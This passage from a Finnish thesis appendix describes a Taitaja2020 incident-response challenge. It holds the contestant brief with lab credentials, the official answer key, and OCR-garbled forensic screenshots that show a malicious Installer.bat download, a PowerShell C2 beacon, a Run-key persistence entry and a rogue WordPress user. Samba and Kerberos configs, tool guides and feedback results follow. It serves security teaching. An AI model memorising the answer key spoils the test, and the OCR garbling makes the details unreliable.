TyOsta syntynytta virtuaaliymparistda voidaan hyddyntaa esimerkiksi opetuksessa
JAMKilla tai Gradialla. Virtuaaliymparistoa voidaan myods kayttaa pohjana tulevissa

Taitaja-tapahtumissa.

Jatkokehitysideana virtuaaliymparisto voitaisiin siirtaa pilviymparistoon. Siirtamalla
virtuaaliymparisto pilveen, sen hallinnoinnista tulisi helpompaa ja tietoturvahaaste

pystyttaisiin skaalaamaan tarvittaessa useammille kilpailijoille samanaikaisesti. Tama
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my0s poistaisi resurssirajoitukset paikallisesti, joten tietoturvahaasteen suorittami-

seen ei tarvittaisi, kuin pelkastaan yhteys pilvipalveluun.
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Liitteet

Liite 1. Tehtavananto Taitaja2020-kisailijoille

Tehtdvénanto Taitaja2020 kisoihin.

Skenaario:

Toimit YritysX:n IT-tukihenkilénd. Yritykseen on kohdistunut mahdollinen tietoturvapoikkeama.
Toimistoty@ntekijd on ilmoittanut oudosta virheviestistd, jonka koki koneellaan (Workstation 2).
Toimistotydntekijd muistaa suorittaneensa jonkin ohjelman aiemmin. Tutki mahdollista
tietoturvapoikkeamaa ja etsi ympdristosta kaikki mahdolliset merkit tietoturvapoikkeamasta. Huomioi
kaikki laitteet ja palvelut, jotka ovat yrityksen omaisuutta.

Tietoa lipuista
Ympdristodn on piilotettu lippuja, joista saa pisteitd. Liput voivat sijaita missa tahansa mahdollisten

tietoturvapoikkeamien yhteydessa. Liput koostuvat kahdesta osasta lipunnumerosta ja arvosta.
Esimerkkilippu flag99:1234567aaa.

Alla olevassa kuvassa on YritysX:n verkkoinfrastruktuuri, josta selvida tarkeimmat IP-osoitteet ja palvelut
ymparistosta.

IP 192168111 IF 192 168.1.10 IF 192 168 9910

Web pakelin

. " .. ADDNSDHCP LAMP | Wordpress
T'“;Z';E"e““ palvelin Ubunty 16,04
Ubuntu 16.04 ws2012 Deellial bt

lan 19216311724

piSense 24.4
IF lan 192.168.1.1/24
IP DMZ 192.168.99.1124
IF WAN 10.10.10.1/24

Ve —

Tyoasema 1 Tybasema 2
wWindows 7 Windows 7

IF DHCF IF DHCP




Tarvittavat tunnukset:
Domain tunnukset

mmallikas: Taitaja2020!
Administrator:adminil23!

Paikalliset tunnukset tydasemille.
admin:adminl123!

Tunnukset web palvelimelle

root:Rootl23!

webiweb1231

Paikalliset Tunnukset tiedostopalvelimelle

fileadmin:fileadmin123!

root:Rootl123!

Tunnukset wordpressiin

Administrator:adminiwp123!

Mmallikas: Mallikasmikko123!

Lisdksi workstation 2 virutaalikoneelle on asennettu tydkaluja, kuten Autopsy, Procmon ja Netmon.
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Liite 2. Taitaja2020, vastauslomake

Taitaja2020-finaali vastauslomake

1. Kuka latasi haittaohjelman tybasemalle? (kdyttajatunnus) (1p)

2. Mistd osoitteesta haittachjelma on ladattu? (IP ja portti 1,5p)

3. Minki niminen haittachjelma on ladattu? —> (1p)

4, Mink3 nimiseksi prosessiksi haittaohjelma on naamioitu? Prosessi ID? (1,5p)

5. Mihin oscitteeseen ottaa yhteytta? (IP ja portti) (1,5p)

6. Mistd IP osoitteesta tullut kirjautumisyrityksid web palvelimelle? ja mille kdyttajdtunnuksille? (3p)

7. Mitd poikkeavaa wordpressissa on? (1p)

3. Flagl?(1,5p)

9. Flag2?(2p)

10. Flag3? (1p)



Liite 3. Taitaja2020, oikeat vastaukset

Taitaja2020-finaali OIKEAT VASTAUKSET

1. Kuka latasi haittachjelman tyGasemalle? (kdyttdjatunnus) {1p)

pliimatta

2. Mistd osoitteesta haittaohjelma on ladattu? (IP ja portti 1,5p)

10.10.10.2 443

3. Mink3 niminen haittaohjelma on ladattu? > {1p}

Installer.bat
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8 Hatery

& Hstory

5 C Fah

Ciilsarsiadmin| DosnloadsiProcessMenilar, oip

C:ibsersAdmin| DownloadsiWire shark-wind2-3.2. 1 exe
CilUsers]Admin| Dowripads Windowst. | -KB3033929-md...
Colzerstbdmin| Dovrlosds | Windowsh. 1 KEIIIIT29-064. ...

CilUsersiddmin| Downloads|PracessMoritar (1).2p
CilUsarsiAdmin| Dosripacs G _x6d. exe
Colserslbdmin| Downlosds G4 _wid. ens
CalUsersAdmin| Dowrinadslautopsy 4. 1 4.0-64bit. mst
CilUserslidmin Do adstautopsy -4, 14.0-64bdt. i
CrisersiplimattsiDownloadsiInstaler bat

A

URL

https:f{dovenlasd. spsirermals comifies Proced st
hitps: {1 ew.dwireshark, orgiwin 2 fWire shark-w
aboct:blank,

hitgs: idevanload micresaft. comfdowniosdiCIa)T)
hitps: [ jdovwnload. sysirkernals. comjFies Processh
abeoiitiblank,

hitgs: {idovenioad. micresaft. compdawniosd 71 O
hitps:ffgthub comskeuthit sutopsyirtoases i
hitps: i ghub-paidution- ralaage- s -2edshe. 5
hitp: 10,00, 10.2:4493 Installer bt

LTt I.'-:z,; A [




4, Minka nimiseksi prosessiksi haittachjelma on naamiocitu? Prosessi ID? (1,5p)

netmon/procmaon

le [Edit Event Filter Tools Options Help
FEABPE TAS D &5 EEETE

Tme .. Process Neme FID  Dperaton Fath Fesat Dietad
16:44. simce 2900 WFegQuanyay  HKLNS-1-5-21-4252475531-1125702563-4177972485-11 27 Software \Microsoh\Windows'\Cuer_ SUCCESS Quary:
- & HKIT\S1.5 214252478531, 11m41m11zmmwxmmm B Desirs
RKLNS-1-5 2142524 72631 nz.msaunmsm-ummmmm K
2580 @Reglioseey  HKLNG-1-5-21-42624 7853111 257025684 1779724281127 Suhware \Mscrosslt Windews'\Cur_ SUCCESS
HKLNS-1-5-21-42624 7553111 257025684 1 77972488-11 27 Saftwane'\Microsoft\Windows'\Cur_ SUCCESS
2980 @ RegCosckey  HHUNS-1-5-21-4252475501- 112570256841 779724881127 SUCCESS
2980 @RegTosekey  HKUNS-1-5-21-4252475531-11 2570256541 T7972488- 1127 Software \Microsoft Windows \Cum _ SUCCESS
2980 A TCP Connect  Workstation-2 yetyse net 45853 -> 10.10.10.25etp SUCCESS Larget
TCF Sand Wicrtation. 2 yetye: net- 45853 .5 10.10.10 Zhap SUCCESS Langet
TCF Recenve  Wodistation-2 yetysc net: 43852 > 10.10.10 2ietp SUCCESS Lengst
TCP Aeceve  Worksiation 2 ytysx net 45852 -5 10,10.10 2+itp SUCCESS Lengtt
TCF Discomnect Woskstation-2 yetyse net 45852 -5 10,1010 2itp SUCCESS Lengt
Regllosekey  HKLM\SOFTWARE Pebcies\Microselt\Windows\Cumend Varsion inbamel Setings SUCCESS
Reglloseiey  HKLM\SOFTWARE Mcrosof\Windows'\Cument Vemson'\Intemet Ssttings \Connactions SUCCESS
1332 @PogCoseRey  HKUNS-1-5-21-4252475531-1125702565-4 1775724281127\ Softwane '\ Microsoft \Windows\Cur SUCCESS
3332 M Reglosekey  HKUNS-1-5-21-4252475531-1 12570256841 779724881127 SWCCESS
TCP Raceve  Wiedstation-2 yetye et 45853 5 10,1010 2hetp SUCCESS Langet
zsm TCF Recerve  Wedstation-2 yetyse net 45853 -» 10.10.10 2wtp SUCCESS Langst
2980 A TCP Disconnect Wodkstation-2yrtym: net 438532 > 10.10.10 2http SUCCESS Lenget
2980 @fRegCoscKey  HKLM\SOF TWARE Policies \Microsoft\Windows \Cument Versian\intemed. Settings SUCCESS
2800 M e e L1 STV LR e oMo b e St e b eirrEee
it
Showing 1 258 of 100 382 events [1.%) Backed by virtual memory
powershell.exe 2580 ja 3332
5. Mihin osoitteeseen ottaa yhteyttad? (IP ja portti) (1,5p)
netmon
L

i Time Offset Process Name Scurce Destnation Protocol Name  Description o

19800261 Unavalable  WORKSTATIO... 10.10.10.2 TCP:Flags=......5., SrcPort=45341, Dethort=HTTP(50), Payloadi en=0,
13815709 Unavalable  10.10.10.2 WORKSTATIO. . TCP:Flags=...A. 5., SrcPort=HTTP{30), DstPort=43841, Pavioadien=0,
15816193 Unavalable  WORKSTATIO... 10.10.10.2
196817327 Unavalable  WORKSTATIO... 10.10.10.2
19845714 Unavalable  10.10.10.2 WORKSTATIO. .
20350967 Unavelable  10.10.10.2 WORKSTATIO.
20367253 Unavalable  10.10.10.2 WORKSTATIO. .
20367453 Unavalable  WORKSTATIO... 10.10.10.2
20785683 Unavaisble  WORKSTATIO... 10.10.10.2
20809712 Unavalable  10.10.10.2 WORKSTATIO. .
17.6506834 Unavalable  WORKSTATIO... 10.10.10.2
17.659777% Unavalable  10.10.10.2 WORKSTATIO. .
17.6598169 Unovaiable  WORKSTATIO... 10.10.10.2
17.6600055 Unavalable  WORKSTATIO... 10.10.10.2
17.6606742 Unavalable  10.10.10.2 WORKSTATIO. .
17.7098167 Unavslable  10.10.10.2 WORKSTATIO. ..
17.7058167 Unavalable  10.10.10.2
17.7068502 Unavalable  WORKSTATIO...
17.7103565 Unavalable  WORKSTATIO... “TOoR. 10
17.7120994 Unavalable  10.10.10.2 WORKSTATIO. .
20.7545197 Unavalable  WORKSTATIO... 10.10.10.2
78.7584734 Unavalable  10.10.10.2 WORKSTATIO. .
78.7555460 Unavpisble  WORKSTATIO... 10.10.10.2
70.7587493 Unavalable  WORKSTATIO... 10.10.10.2
287624047 Unavalable  10,10.10.2 WORKSTATIO. .
28.8273935 Unavalsble  10.10.10.2 WORKSTATIO. .
78.8273936 Unavalable  10.10.10.2 WORKSTATIO. .
T ATTERTT H ingradabie LIPET AT PR ]
o

TCP:Flags=...A...., SrcPart=HTTP(80), DstPort=43341, Payloadlen=0,
HTTP:Response, Hmhu, Status: Ok, URL: Rag0 1/50876520l pho
mad : flagd

TCPFlags=.. A...., ScPort=49851, DstPort=HTTP(50), Payload.en=0, <
HTTP:Request, GET [Rag01/90876520l.oho

TCP:Flags=...Au..., SrcPort=HTTP(53), DstPort=43451, PayloadLen=0, £
HTTP:Responss, HTTF/L.0, Stabus: Ok, URL: [fag0 1/20876520.php
HTTP:HTTP Payload, URL: RagD 1/50876530l. pho

TrQ-Blpne— A W—M(ﬂ Pt UTTDAM Dandnad -1—ﬂ (

 $3393949999339399999933959¢

10.10.10.2 portti 80
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6. Mista IP osoitteesta tullut kirfautumisyrityksid web palvelimelle? ja mille kdyttdjtunnuksille? (3p)

Wordpress audit plugin pliimatta ja administrator 10.10.10.2

1000 & 10.10.10.2 User Login
1002 A 10.10.10.2 User Failed Login
1002 A 10.10.10.2 User Failed Login
7. Mitd poikkeavaa wordpressissd on? (1p)
Wordpress audit plugin pliimatta luonut kayttéjan tliimatta
1000 & o 10.10.10.2 User Login
1002 A 10.10.10.2 User Failed Login
1001 & bl 10.10.10.2 User Logout
4001 o 10.10.10.2 User Created




8. Flagl? (1,5p)

Netmon

b i Time Offset « Process Name  Source Destination Protocol Mame  Description
L8300261  Unavalable WORKSTATIO... 10.10.10.2 TCR H woueea., SroPort=45841, DetPort=HTTP{E0), Payloadlen=0,
1.9815709  Unavaiable 10.10.10.2 WORKSTATIO... TCP - .A. 5., SrcPort=HTTP{80), DstPort=43541, Payloadien=0,

19816193  Unavaiable WORKSTATIO... 10.10.10.2
L9317327 Unavalable  WORKSTATIO... 10.10.10.2
19845714  Unavaiabie 10.10.10.2 WORKSTATIO...
Z.0350967  Unavailable 10.10.30.2 WORKSTATIO..
20367253  Unavaiable 10.10.10.2 WORKSTATIO...
20367453  Unavalabie WORKSTATIO.., 10.10.10.2
2.0785683  Unavailable WORKSTATIO... 10.10.10.2
20805712  Unavaiable 10.10.10.2 WORKSTATIO...
17.6506834 Unavalable WORKSTATIO... 10.10.10.2
17.6597779 Unavailable 10.10.10.2 WORKSTATIO...
17.6558165 Unavaiable WORKSTATIO... 10.10.10.2
17.6600055 Unavaiable WORKSTATIO... 10.10.10.2
17.6606742 Unavalable 10.10.10.2 WORKSTATIO...
17.70%8167 Unavaiable 10.10.10.2 WORKSTATIO...
17.7058167 Unavaiable 10.10.10.2 WORKSTATIO...
17.7058502 Unavalable  WORKSTATIO... 10.10.10.2
17.7103565 Unavalablse  WORKSTATIO... 10.10.10.2
17.7120994  Unavailabie 10.10.10.2 WORKSTATIO...
28.7546197 Unavaiable WORKSTATIO... 10.10.10.2
28.7584734 Unavalable 10.10.10.2 WORKSTATIO...
28.7585460 Unsvalsble  WORKSTATIO... 120.10.10.2
8.7587493  Unavaiable WORKSTATIO... 10.10.10.2
28.7624047 Unavalable 10.16.10.2 WORKSTATIO...
28.8273936 Unavalable 10.10.10.2 WORKSTATIO...
28.8273936 Unavailable 10.10.10.2

WORKSTA
TR AITERTT | lvanrndnbie LIADVETATTA LT R )

SrcPort=43841, DstPort=HTTP(80), Pavloadlen=0,

L 1124 SOCPOI=HTTP(BA), DstPort=45341, PayloadLen=0,
HTTPResporge, HTTF/1.0, Status: Ok, URL: fagl 1/90876530.pho
HTTP:HTTP Payload, URL: fag01/50875520l.php
TCP:Flags=...A...., SrcPort=43341, DstPort=HTTP(80), PayloadLen=0, £
TCP:Fags=.. A.. F, SrcPort="8541, DstPort=HTTR(20), PayloadLen=D, £
< A...., SrcPort=HTTP(EQ), DstPort=45341, PayloadLen=(), £
..5., SrcPort=49847, DstPort=HTTP(E0), Payloadien=0, S
+5. SrePort=HTTP(30}, DstPort=49847, PayloadLen=0, ¢
TCP: Flags- wBonn ScPort=43847, DetPort=HTTP(80), PaylosdLen=0, §
HTTP:Request, Mmem php
TCP:Flags=...A...., SrcPort=HTTP(80), DstPort=45847, PayloadLen=0, £
HTTP:Responss, HTTP/1.0, Status: Ok, URL: fAag1/50876530.pho
HTTP:HTTP Payload, URL: fagD1/50875530l.php
TCP:Flags=...A...., SrPort=49847, DstPort=HTTP(50), PayloadLen=0, &
TCP:Aags=...A..F, SrcPort="43547, DstPort=HTTF(a0), PayloadLen=0, £
TCP: ths wBoen, SecPort: mu} DstPort=45847, F‘mdud.m-ﬂ 5

m:—qggg]], fayloadien=1, ¢
(B0), Payloadlen=0, §

=45851, Payloadlen=0, £

13333999399339399999933434

1 Pirbfnrt UTTRIEM  Badoad an = ‘
L

-
=




9. Flag2?(2p)

regedit --> HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

B Registry Eitor

Fibe - Edit - Wiew  Favorites - Help

=iz

Type
REG_ST
REG_SZ

Data

(alue not et}

“CAWindows\ System 3 WindowsP owerShel Pl I powershellene™ -¢ "Sue=5{lgp HIL..
CAWindows'system3 N VBT ray.exe

1

ErEErEEEEEEEREERE R
Py

FIPERTIRRRELEEE

[
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10. Flag3? (1p)
Woaordpress ylim&araisen k&yttijan tliimat description

& ritys Xcn kotishout B =+ Mew View User

. | Mickname (required)

Display name publicly as | Tinja Liimatta
Ll Contact Info

Email (required) thimatta@badguy.net

L

Website

About the user

v B

1

[+

Biographical Info flag03 5765823htp

Qe

Howdy, administrator
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Liite 4. Tiedostopalvelin, konfiguraatiot

1. Samba konfiguraatio
root@filesrv:~# cat /etc/samba/smb.conf
[global]

workgroup = yritysx

realm = YRITYSX.NET

netbios name = filesrv
security = ADS

dns forwarder = 192.168.0.10

idmap config * : backend = tdb
idmap config *:range = 50000-1000000

template homedir = /home/%D/%U
template shell = /bin/bash

winbind use default domain = true
winbind offline logon = false
winbind nss info = template
winbind enum users = yes

winbind enum groups = yes

vfs objects = acl_xattr
map acl inherit = Yes
store dos attributes = Yes
[JAKO]
path = /srv/samba/JAKO/
browseable = yes
read only = no
inherit acls = yes
inherit permissions = yes
create mask = 700
directory mask = 700
valid users = @"Domain Users"
admin users = @"Domain Admins"
root@filesrv:~#

2. Kerberoskonfiguraatio
root@filesrv:~# cat /etc/krb5.conf
[libdefaults]
default_realm = YRITYSX.NET
default_tgs_enctypes = arcfour-hmac-md5 des-cbc-crc des-cbc-md5
default_tkt_enctypes = arcfour-hmac-md5 des-cbc-crc des-cbc-md5
# The following krb5.conf variables are only for MIT Kerberos.
krb4_config = /etc/krb.conf
krb4_realms = /etc/krb.realms
kdc_timesync=1
ccache_type=4
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forwardable = true
proxiable = true

# The following encryption type specification will be used by MIT Kerberos

# if uncommented. In general, the defaults in the MIT Kerberos code are

# correct and overriding these specifications only serves to disable new

# encryption types as they are added, creating interoperability problems.

#

# Thie only time when you might need to uncomment these lines and change
# the enctypes is if you have local software that will break on ticket

# caches containing ticket encryption types it doesn't know about (such as

# old versions of Sun Java).

#  default_tgs_enctypes = des3-hmac-shal
#  default_tkt_enctypes = des3-hmac-shal
#  permitted_enctypes = des3-hmac-shal

# The following libdefaults parameters are only for Heimdal Kerberos.
v4_instance_resolve = false
v4_name_convert = {

host = {
rcmd = host
ftp = ftp

}

plain = {

something = something-else

}
}

fcc-mit-ticketflags = true

[realms]

YRITYSX.NET = {
kdc = win-serv-dc.YRITYSX.NET:88
default_domain = YRITYSX.NET

}

[domain_realm]
yritysx.net = YRITYSX.NET
.Jyritysx.net = YRITYSX.NET
.mit.edu = ATHENA.MIT.EDU
mit.edu = ATHENA.MIT.EDU
.media.mit.edu = MEDIA-LAB.MIT.EDU
media.mit.edu = MEDIA-LAB.MIT.EDU
.csail.mit.edu = CSAIL.MIT.EDU
csail.mit.edu = CSAIL.MIT.EDU
.whoi.edu = ATHENA.MIT.EDU
whoi.edu = ATHENA.MIT.EDU
.stanford.edu = stanford.edu
.slac.stanford.edu = SLAC.STANFORD.EDU
.toronto.edu = UTORONTO.CA



.utoronto.ca = UTORONTO.CA

[login]
krb4_convert = true
krb4_get_tickets = false
root@filesrv:~#

3. NSS konfiguraatio
root@filesrv:~# cat /etc/nsswitch.conf
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the ‘glibc-doc-reference' and ‘info' packages installed, try:
# “info libc "Name Service Switch"' for information about this file.

passwd: compat winbind
group: compat winbind
shadow: compat winbind
gshadow: files

hosts: files dns

networks: files

protocols:  db files
services: db files

ethers: db files

rpc: db files

netgroup: nis
root@filesrv:~#

4. Domain kayttdjien oikeuksien lisédminen tiedostojakoon
root@filesrv:~# setfacl -m group:"YRITYSX.NET\Domain Admins":rwx
/srv/samba/JAKO/
root@filesrv:~# setfacl -m group:"YRITYSX.NET\Domain Users":rwx
/srv/samba/JAKO/
root@filesrv:~# setfacl -R -m other::--- /srv/samba/JAKO

5. Domainkdyttdjien testaus
root@filesrv:~# getent passwd| grep -i yritysx
administrator:*:50000:50010::/home/YRITYSX/administrator:/bin/bash
guest:*:50001:50001:Guest:/home/YRITYSX/guest:/bin/bash
krbtgt:*:50002:50000:krbtgt:/home/YRITYSX/krbtgt:/bin/bash
ttestaaja:*:50003:50000:Teppo Testaaja:/home/YRITYSX/ttestaaja:/bin/bash
samba:*:50004:50000:SAMBA:/home/YRITYSX/samba:/bin/bash
mmallikas:*:50005:50000:Matti Mallikas:/home/YRITYSX/mmallikas:/bin/bash
tsaarinen:*:50006:50000:Timo Saarinen:/home/YRITYSX/tsaarinen:/bin/bash
santtila:*:50007:50000:Siiri Anttila:/home/YRITYSX/santtila:/bin/bash
tturmiola:*:50008:50000:Tiina Turmiola:/home/YRITYSX/tturmiola:/bin/bash
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plaitela:*:50009:50000:Pekka Laitela:/home/YRITYSX/plaitela:/bin/bash
troland:*:50010:50000:Tommi Roland:/home/YRITYSX/troland:/bin/bash
sfender:*:50011:50000:Sami Fender:/home/YRITYSX/sfender:/bin/bash
ssmuolainen:*:50012:50000:Santeri Suomalai-
nen:/home/YRITYSX/ssmuolainen:/bin/bash
tturkulainen:*:50013:50000:Tanja Turkulai-
nen:/home/YRITYSX/tturkulainen:/bin/bash

elahtinen:*:50014:50000:Erkki Lahtinen:/home/YRITYSX/elahtinen:/bin/bash
pliimatta:*:50015:50000:Pinja Liimatta:/home/YRITYSX/pliimatta:/bin/bash
paikamies:*:50016:50000:Pekko Aikamies:/home/YRITYSX/paikamies:/bin/bash
root@filesrv:~#



Liite 5. Taitaja2020, Ohjelmien kayttoohjeet

Taitaja2020 Ohjelmistojen kayttoohjeet

Autopsy
1. Kaynnistd autopsy paakayttdjana.

Open

Troubleshoot compatibility

Open file location

| Ronsssdminitster

Pin to Taskbar
Pin to Start Menu

Restore previous versions

2.  Avaa joko uusi tapaus tai avaa viimeisin.
| Welcome

Wew Cass

&

Open Recent Case

a

Open Case

a

 Autopsv®

Dpen Recent Case
Recant Cases

Case Name Fath




3. Lisad Datasource eli tietoldhde, jota tutkitaan

Case Wiew Tools Window Help

+mmm|'mﬁm = | © - KeywordLets O ke

4. Valitse Drive 0

M Add Data Source
Steps Select Data Source

1. Select Tyoe of Dats Source To Local Dk m
Add . =
Sehect Data Source

A
3. Cenfigure Ingest Modules Ti . | e —
4 Add Data Source esone: | M3 :00) Fuepe Helorhi e
(] Torwre orphan fles in FAT file systems
Select & local desk:
| Diisk. Mame Disk Size
D Drive () VirtualBoy Guest Additions 73,6 ME
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5. Suorita vain Recent Activity, se riittd3 tahan harjoitukseen.

M 4dd Data Source -4

Steps Configure Ingest Modules

1. Select Type of Data Source To
add Run ngest modules on:

2. Select Data Source

3. Configure Ingest Modules

4. Add Data Source

The seb=ct=d module has no per-run s=tings

Hash LI:l.'.lk_d.J -
Fle Type Identification
Extension Mismatch Detector
Embedded Fie Extractor
Ewif Parser

Keyword Search

Email Parzer

Encrypiion Detection
Interesting Files Identifer
Corredation Engine

Phatofiec Carver

Virtual Machine Extractar
Data Source Int=grity Extracts recent user achivity, such a< Web browsing, recently us...

Select Al Desehect Al |

Hext =

Procmon eli prosessimonitori
1. Aja paskayttajana

S
Open

Run as administrator

Troubleshoot compatibility

Share with
Pin to Taskbar

Dim #r Ckark hlomas

2. Ctrl + E tai kuvassa korostettu aloittaa capturen

¥ Process Monitor - Sysintemnals: www.sysintemals.com
File | Edit | Event Filter Tools Options Help

@ Qe vie 0 Ay EEETE

I S———y——— .
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3. Process monitor listaa kaikkien prosessien toiminnot, Harjoituksessa riittd3 noin 5 minuutin
tallennus, jonka jdlkeen sen voi lopettaa ja alkaa tutkimaan prosesseja.

=8 Frod

File Edit Event Filter Tools Options Help

FHABE|FAS B AN

Time .. Process Name

1730, # Searchindexer....

FID  Operstion Path

1324 Bk FleSystemControl C:

1324 B FileSystemCortrol C-

1324 A FileSystemCoritml C:

700 @ RegCuerykiey  HKLM\SOFTWARE \MicrosoRt\DLE

700 @fReglpenkey  HKLM\SOFTWARE\Microsoft\OLE\ChanneiHook

2860 @fRegluenkey HHKLM

2860 @ Reglpenkey  HKLM\SYSTEM\CumertCorérolSet Services' Topinh\ParameterstInterfaces\ [ DC 3FB4ED-C
2860 @ AeglOpenkey  HKLM\System'\CurertControlSet' Services' Tepip B\ Parameters'niedaces' |DCIFB4ED-DE.
2860 M RegQuenyValue HKLM\System'CumentConttrol Set' services" TCF P\ Parameters Interfaces' [de Fbded db20
2860 @fFegosekey  HKLM\System\CumentControl Set'services' TCFIP6\ Parameters Interfaces'\jde bded db 20
1072 @ RegluenValue HKLM\SOF TWARE \Microsoft\Windows'\CurentVersion' Side By Side'\ PublisherPolicyChang:
1072 @ RecluenyValue HKLM\SOFTWAREMicrosoft\ Windows'\Cument Version' SideBy Side' PublisharPolicyChang:
2860 @ Reguendiey HKLM

4. Prosesseja on paljon, joten kannattaa filterdidd varmat pois.

Enable Advanced Output =
Filter... Ctri+L
Reset Filter Ctrl+R
Load Filter ¥
Save Filter... JREN
|' \RE\
Organize Filters...
'\Cun
Drop Filtered Events TES
LTer
Highlight... CrtH  Brer




Metmon eli Network monitor
1. Suorita paakayttijana

Troubleshoot compatibility

Open file location
Run as administrator
Pin to Taskbar

Pin to Start Menu

Restore previous versions
Send to b

Cut
Copy

2. Luo uusi tallennustieodsto eli capture

2 Microsoft Network Monitor 3.4
File

Jools Help

» Open Capture

Recent Captures % || Getting Started with

Create: Mew capture tab
Open: Capture file MEC"U!

Microsoft Netwa
network packets

e T

3. Aloita verkkolilkenteen tallennus, noin 5-10 minuuttia on riittdva tallennus pituus.

File Edit View Frames Capture Filter Experts Tools

Mew Capture ¥ Open Capture || Save As | 55 Capture Settings ~

Capture 1 ":_ Start Page | -3 Parsers

Metwork..  x ||Display Filter

U Press "Starl| o apply O Remove | & History + 2 Load Filter ~ g Save Filte

Frame Summary
'_;_‘. Find ~ .', 1t _;l; Autoscroll *'Ioj' Color Rules éﬂ Aliases

77



78

Liite 6. Taitaja2020, palautekysely

Palautekysely Taitaja2020
tietoturvahaasteesta

Palautekysely Taitaja2020-finaalin kilpailijoille tietoturvahaasteesta

*Pakollinen

1. Kilpailutunnus *

0Oma vastauksesi

2. Kuinka vaikeaksi koit tehtavan yleisesti? (1=helppo, 2= helpohko, 3=sopiva,
A=vaikea, 5=liian vaikea) *

Helppo O O O O O Liian vaikea

3. Koitko tehtavan kiinnostavana tapana tutustua tietoturvapoikkeamiin? Mita
mielta yleisesti tehtavasta? *

0Oma vastauksesi

4, Koetko tehtavan parantaneen kasitystasi kyseisista tietoturvapoikkeamista?
(C2 komentokanavat ja brute force hyokkaykset) Ymmarsitko kyseisten
tietoturvapoikkeamien periaatteet paremmin harjoituksen myéta? *

0Oma vastauksesi
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5. Kuinka vaikeaksi koit tyokalujen kaytoni? (1=helppo, 2= helpohko, 3=sopiva,
A=vaikea, 5=liian vaikea) *

Helppo O O O O O Liian vaikea

6. Olivatko harjoituksessa kaytetyt tyokalut sinulle tuttuja entuudestaan? *

O kyla
QO Ei

7. Koetko saaneesi tarpeeksi koulutusta tietoturvan suhteen koulussa? *

O kylla
O en

8. Koitko harjoituksen teknisen toteutuksen vastaavan koulussa opetettuja
teknisia asioita? (Windows server ja Linux yms.) *

Oma vastauksesi

9. Pystytko luomaan tapahtumista karkean aikajanan? (Mika kaynnisti
tietoturvapoikkeaman? Mita sitten tapahtui. jne.) *

Oma vastauksesi

10. Vapaa palaute

Oma vastauksesi



Liite 7. Taitaja2020, palautekyselyn tulokset

Palautekyselyn tuloksia

2. Kuinka vaikeaksi koit tehtavan yleisesti? (1=helppo, 2= helpohko, 3=sopiva, 4=vaikea, 5=lilan
vaikea)

3 vastausta
1,00
075
0,50

025
0 (0 %) 0 (D %)

0,00

3. Koitko tehtdvan kiinnostavana tapana tutustua tietoturvapoikkeamiin? Mita mielta yleisesti
tehtavasta?
3 vastausta

Kyll3, Tehtavassa oli ainakin haastetta mutta minulle ehka vahan liiankin paljon.

Tehtavassa kaytiin hyvid (iimaisita) IR -ohjelmistoja, joiden avulla t&mén tyylisia poikkeamia voidaan tutkia.
Tehtavan tarjoama skenaario oli luotu hyvin seka realistisen tuntuinen.

todella kiinnostava

4. Koetko tehtavan parantaneen kasitystasi kyseisista tietoturvapoikkeamista? (C2-komentokanavat
ja brute-force -hyokkaykset) Ymmarsitko kyseisten tietoturvapoikkeamien periaatteet paremmin
harjoituksen myota?

3 vastausta

jonkun verran

Harjoituksen tietoturva poikkeamat eivét olleet minulle ennestdén tuntemattomia, mutta sain paremman
kasityksen mm. registryn kéytdstd malwaren persistancessa.

kylls
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5. Kuinka vaikeaksi koit tyokalujen kaytoni? (1=helppo, 2= helpohko, 3=sopiva, 4=vaikea,
5=liian vaikea)
3 vastausta

1,00

0,75

0(0%)
0,00

(W

6. Olivatko harjoituksessa kaytetyt tyokalut sinulle tuttuja entuudestaan?

3 vastausta

@ Kylla
@E

7. Koetko saaneesi tarpeeksi koulutusta tietoturvan suhteen koulussa?

3 vastausta

® Kylla
®En
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8. Koitko harjoituksen teknisen toteutuksen vastaavan koulussa opetettuja teknisia asioita?
(Windows server ja Linux yms.)

3 vastausta

Jonkun verran
Kyll&, ad vaikutti toimivan ja FS oli integroitu toimimaan napékésti Linux -> Windows

suurinpiirten

9. Pystytkd luomaan tapahtumista karkean aikajanan? (Mika kaynnisti tietoturvapoikkeaman? Mita
sitten tapahtui. jne.)

3 vastausta

En valitettavasti pysty.
Kylla

joo

10. Vapaa palaute

2 vastausta

Tehtavassa oli haastetta ja oli toteutettu ammattimaisesti.

Hyvaa duunia Aku!



